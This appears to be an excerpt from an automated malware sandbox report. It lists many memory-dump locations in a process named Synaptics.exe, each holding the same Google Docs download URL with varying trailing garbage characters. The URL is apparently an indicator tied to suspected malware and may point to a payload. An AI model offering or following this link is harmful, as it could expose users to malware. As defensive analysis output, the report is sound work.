00000003.00000002.2044564159.0000000021C3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1982293060.00000000042EE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2016019447.000000000FA8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1985924258.00000000064EE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2007113538.000000000D87E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2040414387.000000001E5BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2006177710.000000000CABE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1997373896.0000000006F7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2026479457.0000000014F3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#.
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#R
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$B
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$P
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%L
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%T
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%d
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%f
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%v4
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&-
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&7
Source: Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&=
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&L
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&S
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&c
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&p
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(3
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(C7
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(max-9
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)R7
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)b6
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)g
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)r
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)w
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-U3
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-e2
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-w
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.1
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.N
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.V
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.VD
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cl
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.itb
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.m
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.q
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000EA3E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/P
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/P=
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0;pad
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0B
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0Gp
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0p
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1W
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1f
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1g
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download27
Source: Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2=
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2L
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2S
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2u
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3R
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3S
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3w
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4C
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4U
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4V
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4d
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4f
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download52
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5g
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5t
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download60
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6M
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6Q
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6Zx
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6a
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6l
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6v
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download772px;S
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7T
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7U
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7e
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7w
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8.
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8q
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9P
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:1
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:L
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:N
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:T
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:d
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:m
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:v
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
